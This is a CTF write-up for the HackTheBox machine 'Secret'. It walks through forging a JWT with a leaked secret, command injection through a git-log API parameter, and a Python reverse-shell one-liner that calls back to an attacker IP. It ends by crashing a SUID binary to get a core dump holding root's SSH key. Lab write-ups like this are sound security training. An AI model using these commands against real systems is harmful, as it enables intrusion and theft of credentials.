CTF-Writeups/HackTheBox/Secret.md
2022-03-26 19:23:29 +05:00

6.4 KiB

HackTheBox-Secret

NMAP

PORT     STATE SERVICE REASON         VERSION       
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)                                                  
80/tcp   open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods:                                                           
|_  Supported Methods: GET HEAD POST OPTIONS                              
|_http-server-header: nginx/1.18.0 (Ubuntu)                               
|_http-title: DUMB Docs                                                   
3000/tcp open  http    syn-ack ttl 63 Node.js (Express middleware)
| http-methods:                                                           
|_  Supported Methods: GET HEAD POST OPTIONS                              
|_http-title: DUMB Docs            
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel         

PORT 80/3000 (HTTP)

On both http ports we can see a similar page of DUMB Docs

We can navigate to sections which tells us that it's an API based authentication system where it shows the procedure on how to register a user using POSTrequests

Running gobuster we can see some files in /api directory

We can download the zip archive from here

And this archive contains a git repository so we can check for commits using git log

This commit has a JWT secret here so to look into this commit we can use the command git show 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78

Let's first try to register a user , now I tried using burpsuite and the issue was that when I was sending the POST request in order to register a user , it wasn't working

Instead I installed Postman which is used for testing api calls

With this I was able to make a POST request to register a user as this returned as the username which means that we were successful in creating a user. We can login by making a POST request with email and password which in return will give us a JWT token

From the docs it says if we make a GET request to /api/priv it will show us our privileges.

We can become the admin user since we already have found the JWT secret to modify the token but we need to see what username we need to set in order to become admin ,

In local=web/routes/private.js we can see that it's checking for username theadmin and if that exists in the token that we can become the admin user

So modifiy the token we have and change the username from arz101 to theadmin also add the JWT secret to verify the token

Foothold

We can see another endponit /api/logs

Which is going to make a GET request by taking a parameter named file and it's going to execute git command

So let's try to give the parameter

So let's to try to break the command by ;id and it see if we get command exection

Perfect , now let's get the reverse shell from here

python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.29",2222));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

Stabilizing the shell with python3

Let's check sudo -l if we can run something as the root user without any password

We can't so let's see if there's anything running locally

Only port 27017 is interesting , on which mongodb is running, I checked for suid binaries if there were other than the normal ones and found /opt/count had a SUID bit on it

So I ran this binary and what it doee is asks for a file name with the path and lists the total number of characters ,words and lines

We can also the source code for this binary which is in /opt/code.c

Privilege Escalation

Now we can't overflow the binary , reason is that the array path is of 100 characters but the way it's storing a value is through scanf(%99s) which means that it's going to store 99 chracters plus a null byte which prevents the bufferoverflow

But we see this prctl(PR_SET_DUMPABLE, 1) , which enables process to be dumped

In order to dump the process we need to crash the program and the way we can crash it is to forcefully kill the process id and do that we need to have 2 shells , first will run the binary till the point you give the path for the file and second will kill the process for that binary. I used -6 which is SIGABRT as I tried with 9 (SIGKILL) it wasn't showing the crash report in /var/crash and what I think is that because -9 would stop the execution of the binary whereas -6 will abort execution of binary.

We get the crash report file from /var/crash

To read the CoreDump file we need to use apport-unpack

Then just directly read the CoreDump file to get root's ssh key

References